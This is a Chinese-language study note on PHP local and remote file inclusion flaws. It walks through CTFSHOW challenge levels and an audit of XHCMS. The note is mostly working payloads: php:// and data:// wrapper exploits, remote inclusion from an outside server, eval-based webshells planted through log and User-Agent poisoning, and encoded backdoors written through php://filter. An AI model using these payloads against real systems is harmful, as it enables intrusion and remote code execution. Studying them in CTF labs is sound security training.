总览

过滤功能:
1.嵌入式过滤或者单独写一个过滤文件
2.过滤文件的代码共享和执行,一旦有变量则存在文件包含漏洞风险
3.文件包含意味着执行,能正确执行PHP代码

核心知识:

  • 本地包含LFI&远程包含RFI-区别

    • 一个只能包含本地,一个可以远程加载
    • 具体形成原因由代码和环境配置文件决定
  • 各类脚本语言包含代码写法-见下文

    <!--#include file="1.asp" -->
    <!--#include file="top.aspx" -->
    <c:import url="http://thief.one/1.jsp">
    <jsp:include page="head.jsp"/>
    <%@ include file="head.jsp"%>
    <?php Include('test.php')?>
  • 各类脚本语言包含伪协议玩法

思路要点:

  • 黑盒发现:

    • 主要观察参数传递的数据和文件名是否对应

      修改文件名以包含文件
      http://xx.xxx.xx/xxx.php?x=文件名
  • 白盒发现:

    • 可通过应用功能追踪代码定位审计
    • 可通过脚本特定函数搜索定位审计
    • 可通过伪协议玩法绕过相关修复等

总结:

文件上传:

  • 有文件的情况:
    • 网站有文件、网站能上传:包含网站本身的文件

本地包含:LFI local file include
包含一个文件,带上后门代码就能getshell=>文件上传到网站目录,利用网站本地执行

  • 没文件的时候:

    • 文件不能指定,借助日志写入(UA)和session文件写入把后门代码搞上去.

      • PHPSESSIONID对session临时文件的命名有控制作用.(全部试验一遍就知道那个有控制作用了)

        条件竞争:使用不及时就把上传的文件删除掉

        session默认保存路径:/tmp或/var/lib/php/session或C:\WINDOWS\Temp
        session.save_path //session文件存储地址
        session.upload_progress.enabled //session文件上传上传
        session.upload_progress.cleanup //定时清空文件
    • 伪协议:直接执行代码,相当于直接创建一个后门

      • 没有文件上传也能进行PHP代码执行
      • 读、写文件,同时进行编码、算法等。
      • 缺点:
      这种会导致伪协议失效
      include('conn/'.$file)
      include('conn/'.$file.'.php')

没有漏洞的文件上传,上传后门代码就不能被解析。上传文件只能上传非脚本格式文件,就不能被触发。
文件包含不管文件是什么,都当做PHP执行
解决办法

  • 有可控文件如能上传文件,配合上传后包含
  • 无可控文件可以利用日志或Session&伪协议
  • 代码固定目录及文件后缀时需考虑版本绕过
  • 伪协议玩法是建立在代码中只有变量存在时

实战

CTF应用-CTFSHOW-78关卡到117关卡

打题前提:使用旧渗透版的火狐,好像新版火狐谷歌等都有自带的防护,出不了结果。

打开PHP配置
allow_url_fopen :on
allow_url_include:on
=> 允许远程包含的办法

78-php&http协议

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
payload: ?file=data://text/plain,<?=system('tac flag.php')?>
payload:
?file=php://input
post:
<?php system('tac flag.php');?>
payload:
?file=http://www.xiaodi8.com/1.txt(带外到某个服务器)
1.txt:
<?php system('tac flag.php');?>

79-data&http协议

# 过滤掉"php"关键字,将其替换为"???"
payload: ?file=data://text/plain,<?=system('tac flag.*');?>
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

80 81-日志包含

禁用远程包含、data
1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃
故利用日志记录UA信息,UA带入代码
包含:/var/log/nginx/access.log

payload:
?file=/var/log/nginx/access.log
UA: <?=eval($_POST['x'])?>

x=system('cat fl0g.php')

82-86-SESSION包含

82~86已损坏
https://www.cnblogs.com/lnterpreter/p/14086164.html
https://www.cnblogs.com/echoDetected/p/13976405.html

87-php://filter/write&加密编码

1、利用base64:把后门写进去
base64编码要编码两次
- 浏览器解码一次,传入后台再解一次
url编码2次,然后放到?file=的右边:php://filter/write=convert.base64-decode/resource=123.php
http://xxx.xxx.com/?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%33%32%25%33%33%25%32%45%25%37%30%25%36%38%25%37%30

body的内容:content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
原意:aa<?php @eval($_POST[a]);?>

2、利用凯撒13
url编码2次:php://filter/write=string.rot13/resource=2.php
content=<?cuc riny($_CBFG[1]);?>

88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64值
Payload:
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk
这里就是加密后的php代码 <?php system('tac *.php');echo 123;?>ad
不能带 '+''='

117-php://filter/write&新的算法

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

生成:
<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>

Payload:
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?

CMS源码-XHCMS-代码审计&日志&绕过

限制很多。

  • 搜索特定函数寻包含点(include等包含类漏洞)
  • 固定目录及后缀名需绕过(无法使用伪协议,前端没有文件上传)
  • 由CMS无上传用日志包含
  • 利用长度绕过后缀名固定(低版本PHP可行)
    Payload:
?r=../../../Apache/logs/access.log/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././